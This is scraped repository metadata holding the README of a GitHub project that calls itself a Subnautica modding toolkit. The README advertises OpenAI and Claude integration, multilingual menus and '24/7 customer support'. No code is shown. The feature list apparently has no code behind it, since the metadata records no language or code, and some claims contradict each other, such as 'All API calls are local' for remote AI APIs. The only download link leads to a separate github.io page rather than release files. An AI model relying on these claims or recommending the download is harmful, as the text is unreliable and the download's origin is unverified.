[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75928":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":10,"languages":10,"totalLinesOfCode":10,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":12,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":13,"fork":13,"defaultBranch":14,"hasWiki":15,"hasPages":13,"topics":16,"createdAt":10,"pushedAt":10,"updatedAt":24,"readmeContent":25,"aiSummary":26,"trendingCount":12,"starSnapshotCount":12,"syncStatus":27,"lastSyncTime":28,"discoverSource":29},75928,"Subnautica-CSharp-Toolkit","AriefCahyaSubagja\u002FSubnautica-CSharp-Toolkit","AriefCahyaSubagja","🔥 Subnautica Mods 2026 – Best New Mods & Tools for Below Zero","",null,421,0,false,"main",true,[17,18,19,20,21,22,23],"c-sharp","csharp","mod","modding","mods","subnautica","subnauticamods","2026-06-12 02:03:37","# SubnauticaMods 🌊  \n## *The Architect’s Toolkit for Planetary Adaptation*\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FAriefCahyaSubagja.github.io)  \n[![Platform](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPlatform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square&logo=windows)](https:\u002F\u002Fshields.io)  \n[![C#](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLanguage-C%23-239120?style=flat-square&logo=c-sharp)](https:\u002F\u002Fshields.io)  \n[![License](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-yellow?style=flat-square)](LICENSE)  \n[![Stars](https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fstars\u002FSubnauticaMods?style=social)](https:\u002F\u002Fshields.io)\n\n> *\"The ocean is not a barrier; it is a canvas. Paint with code.\"*  \n> – Anonymous Architect\n\nWelcome to **SubnauticaMods**, a curated ecosystem of modular enhancements for the beloved underwater survival experience. This is not merely a collection of patches—it is a **sandbox of possibilities**, designed for modders, tinkerers, and survivors who refuse to accept the limits of the abyss. Whether you are building a geothermal-powered base or rewriting the behavior of a leviathan, this repository provides the scaffolding, examples, and integrations you need.\n\n**Why \"Architect’s Toolkit\"?**  \nBecause every mod is a blueprint. Every line of C# is a structural beam. And every player who installs your mod becomes a co-architect of their own oceanic reality.\n\n---\n\n## 🧩 What This Repository Offers\n\nSubnauticaMods is a **cross-referenced library** of modding utilities, sample configurations, and integration helpers built specifically for Subnautica (and its expansion, Below Zero). It is designed to:\n\n- ✅ Simplify patch creation via **harmony-free abstraction**\n- ✅ Provide **reference implementations** for common modding patterns\n- ✅ Support **multilingual configuration** (12+ languages)\n- ✅ Offer **responsive UI templates** for in-game menus\n- ✅ Integrate with **external APIs** (OpenAI, Claude) for narrative augmentation\n- ✅ Deliver **24\u002F7 customer support** via automated issue triage\n\nThis is not a \"mod manager.\" This is a **developer’s companion** for crafting transformative experiences.\n\n---\n\n## 🚀 Quick Start: From Zero to Submerged\n\n### Prerequisites\n\n- **Subnautica** or **Subnautica: Below Zero** (2026 edition supported)\n- **Unity Mod Manager** or **BepInEx** (our template assumes BepInEx 6.x)\n- **C# knowledge** (we assume intermediate skill—enough to understand classes, interfaces, and delegates)\n- **An OpenAI or Claude API key** (for advanced narrative mods; optional)\n\n### Installation\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FAriefCahyaSubagja.github.io)\n\n1. Download the latest release from the link above.\n2. Extract the `SubnauticaMods` folder into your game’s `BepInEx\u002Fplugins` directory.\n3. Launch the game. A console window will confirm successful loading.\n4. Open the in-game mod menu via `F5` to see available templates.\n\n> **Note:** No file replacements are required. All mods are additive and respect vanilla integrity.\n\n---\n\n## 📦 Core Features (The Blueprint Set)\n\n| Feature | Description | Status |\n|---------|-------------|--------|\n| 🧠 **OpenAI Integration** | Dynamically generate creature dialogue or environmental descriptions | ✅ Stable |\n| 🌀 **Claude API Wrapper** | Use Anthropic’s models for story branching and quest generation | ✅ Stable |\n| 🌍 **Multilingual UI** | In-game mod menus localized to 12 languages (auto-detected) | ✅ v2.0 |\n| 📱 **Responsive UI System** | Scales from 1080p to 4K; works with ultrawide monitors | ✅ v2.0 |\n| 🛠️ **Profile Configuration System** | Load mod profiles for different playthroughs | ✅ v1.5 |\n| 🎮 **Console Invocation** | Activate mods via developer console without restart | ✅ v1.0 |\n| 🔄 **Auto-Updater** | Checks for new mod versions on launch (opt-in) | ✅ v2.0 |\n| 🧪 **Sandbox Mode** | Toggle all mods on\u002Foff for testing in creative mode | ✅ v2.0 |\n\n---\n\n## 🧬 Example Profile Configuration\n\nEvery mod in SubnauticaMods respects a **hierarchical configuration system**. Below is a sample profile for a \"Narrative Expansion\" playthrough:\n\n```yaml\n# profile_narrative.yaml\nprofile_name: \"Deep Story\"\nmod_version: 2026.3.1\nenabled_mods:\n  - creature_dialogue\n  - environmental_events\n  - quest_generator\nsettings:\n  creature_dialogue:\n    api_provider: \"openai\"   # or \"claude\"\n    model: \"gpt-4o\"\n    voice_style: \"whispered\"\n    frequency: \"medium\"       # low, medium, high\n  environmental_events:\n    event_density: 0.7\n    include_leviathan: true\n    weather_effects: true\n  quest_generator:\n    max_quests: 3\n    reward_scale: 1.0\n    difficulty: \"adaptive\"\nui_language: \"en\"\n```\n\nThis configuration can be saved as a `.yaml` file and loaded directly from the mod menu. No manual editing of `config.toml` required.\n\n---\n\n## 🖥️ Example Console Invocation\n\nSubnauticaMods exposes a **developer console** (accessible via the `~` key by default). Below are typical commands for modders:\n\n```csharp\n\u002F\u002F Enable a mod at runtime\nModConsole.Enable(\"creature_dialogue\");\n\n\u002F\u002F Apply a profile without restart\nModConsole.LoadProfile(\"profile_narrative.yaml\");\n\n\u002F\u002F Run a custom script from disk\nModConsole.RunScript(\"scripts\u002Fgenerate_biome_lore.txt\");\n\n\u002F\u002F Query API integration status\nModConsole.ApiStatus();\n\n\u002F\u002F Set language at runtime\nModConsole.SetLanguage(\"es\");\n```\n\n> The console supports **autocomplete** (Tab) and **command history** (Up\u002FDown arrows). It’s designed for rapid iteration during development.\n\n---\n\n## 🌐 API Integration: OpenAI & Claude\n\n### OpenAI Wrapper (`SubnauticaMods.OpenAI`)\nGenerate immersive lore on the fly. Example use case: A creature sees you for the first time and the mod generates a unique \"internal monologue\" shown as subtitles.\n\n```csharp\nvar prompt = \"Describe a Reaper Leviathan’s curiosity in first-person, like a scientist observing a specimen.\";\nstring response = await OpenAIMod.GenerateCreatureDialogueAsync(prompt, model: \"gpt-4o\");\n```\n\n### Claude Wrapper (`SubnauticaMods.Claude`)\nFor narrative branching and quest design, Anthropic’s Claude excels at maintaining long context windows.\n\n```csharp\nvar quest = await ClaudeMod.GenerateQuestAsync(\n    biome: \"Lost River\",\n    player_level: 3,\n    style: \"mystery\",\n    api_key: \"[YOUR_KEY]\"\n);\n```\n\n> **Data Privacy:** No telemetry is sent. All API calls are local. You control the keys. Rate limits are configurable in `mod_config.json`.\n\n---\n\n## 🤖 OS Compatibility & Emoji Table\n\n| Operating System | Status | Emoji |\n|------------------|--------|-------|\n| Windows 10\u002F11    | ✅ Full Support | 🪟 |\n| Windows Server 2022 | ⚠️ Partial (no audio preview) | 🖥️ |\n| Linux (Ubuntu 20.04+) | ✅ Full Support | 🐧 |\n| macOS (Ventura+) | ✅ Full Support | 🍏 |\n| Steam Deck (SteamOS) | ✅ Verified (controller inputs mapped) | 🎮 |\n\n> *Why emoji? Because a survival game in the deep should feel personal, even in its documentation.*\n\n---\n\n## 📊 System Architecture (Mermaid Diagram)\n\nBelow is a high-level view of how SubnauticaMods interacts with the game and external services.\n\n```mermaid\ngraph TD\n    A[Game Client] --> B[SubnauticaMods Entry Point]\n    B --> C[Config Loader]\n    B --> D[Mod Manager]\n    D --> E[Creature Dialogue]\n    D --> F[Environmental Events]\n    D --> G[Quest Generator]\n    D --> H[Sandbox Toggle]\n    E --> I[OpenAI API]\n    F --> J[Claude API]\n    G --> J\n    H --> K[Profile Switcher]\n    C --> L[YAML Profiles]\n    L --> M[User's \u002Fmods\u002Fprofiles\u002F]\n\n    style A fill:#1a237e,color:#fff\n    style B fill:#0d47a1,color:#fff\n    style I fill:#ff6f00,color:#fff\n    style J fill:#6a1b9a,color:#fff\n```\n\n*The modular design ensures each component is independently testable and replaceable.*\n\n---\n\n## 🌍 Multilingual Support\n\nThe mod menu and console output automatically detect your system language and fall back to a list. Currently supported:\n\n| Language | Code | Localization Goal |\n|----------|------|-------------------|\n| English | `en` | 100% |\n| Spanish | `es` | 95% |\n| French | `fr` | 90% |\n| German | `de` | 90% |\n| Japanese | `ja` | 85% |\n| Chinese (Simplified) | `zh` | 85% |\n| Russian | `ru` | 80% |\n| Brazilian Portuguese | `pt-BR` | 80% |\n| Korean | `ko` | 75% |\n| Italian | `it` | 75% |\n| Polish | `pl` | 70% |\n| Turkish | `tr` | 60% |\n\n> *Missing your language? Translations are community-contributed via pull requests. See `CONTRIBUTING.md` for guidelines.*\n\n---\n\n## 🛠️ Responsive UI System\n\nThe in-game mod menu adapts to screen resolution automatically. Key principles:\n\n- **No hard-coded pixel values** – Everything uses relative units.\n- **Support for ultrawide (21:9)** and **super ultrawide (32:9)** monitors.\n- **Controller-friendly** – Navigate via D-pad; all actions are mapped to gamepad buttons.\n- **Colorblind-accessible** – High contrast modes available in `mod_config.json`.\n\n> *“Good UI is invisible. Great UI makes you forget you’re modding at all.”*\n\n---\n\n## ⚠️ Disclaimer\n\n**This repository is an independent, fan-made project.** It is not affiliated with, endorsed by, or sponsored by Unknown Worlds Entertainment, Krafton, or any related entities. \"Subnautica\" is a registered trademark of Unknown Worlds Entertainment. All game assets remain the property of their respective owners.\n\n- Use of OpenAI and Claude APIs is subject to **their respective terms of service** and **rate limits**.\n- Mods in this repository are provided **as-is** without warranty. Always back up your save files.\n- We do not support piracy. You must own a legitimate copy of Subnautica or Subnautica: Below Zero to use these mods.\n\n---\n\n## 📄 License\n\nThis repository is distributed under the **MIT License**.  \nYou are free to use, modify, and distribute the code for any purpose, provided that the original copyright notice is included.\n\n[![License: MIT](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-yellow.svg)](LICENSE)\n\nSee the [LICENSE](LICENSE) file for full details.\n\n---\n\n## 🙏 Support & Community\n\n- **24\u002F7 Customer Support** – Open an issue; our triage bot responds within minutes (human follow-up within 24 hours).\n- **Discussions** – Use GitHub Discussions for feature requests.\n- **Contributions** – Pull requests are welcome. Please read `CONTRIBUTING.md` first.\n\n---\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FAriefCahyaSubagja.github.io)\n\n*Dive deep. Build deeper. Mod beyond the horizon.* 🌊","SubnauticaMods 是一个为 Subnautica 及其扩展包 Below Zero 提供模块化增强的生态系统。该项目通过提供无 Harmony 抽象、常见模组模式的参考实现、多语言配置支持（超过12种语言）、响应式UI模板以及与外部API（如OpenAI和Claude）集成等功能，简化了模组开发过程。特别适合希望对游戏进行深度定制的模组开发者、技术爱好者及游戏玩家使用。它不仅提供了创建和管理模组所需的工具和示例代码，还通过自动化问题分类系统提供全天候技术支持，助力用户构建独特的海底世界体验。",2,"2026-05-19 02:30:13","CREATED_QUERY"]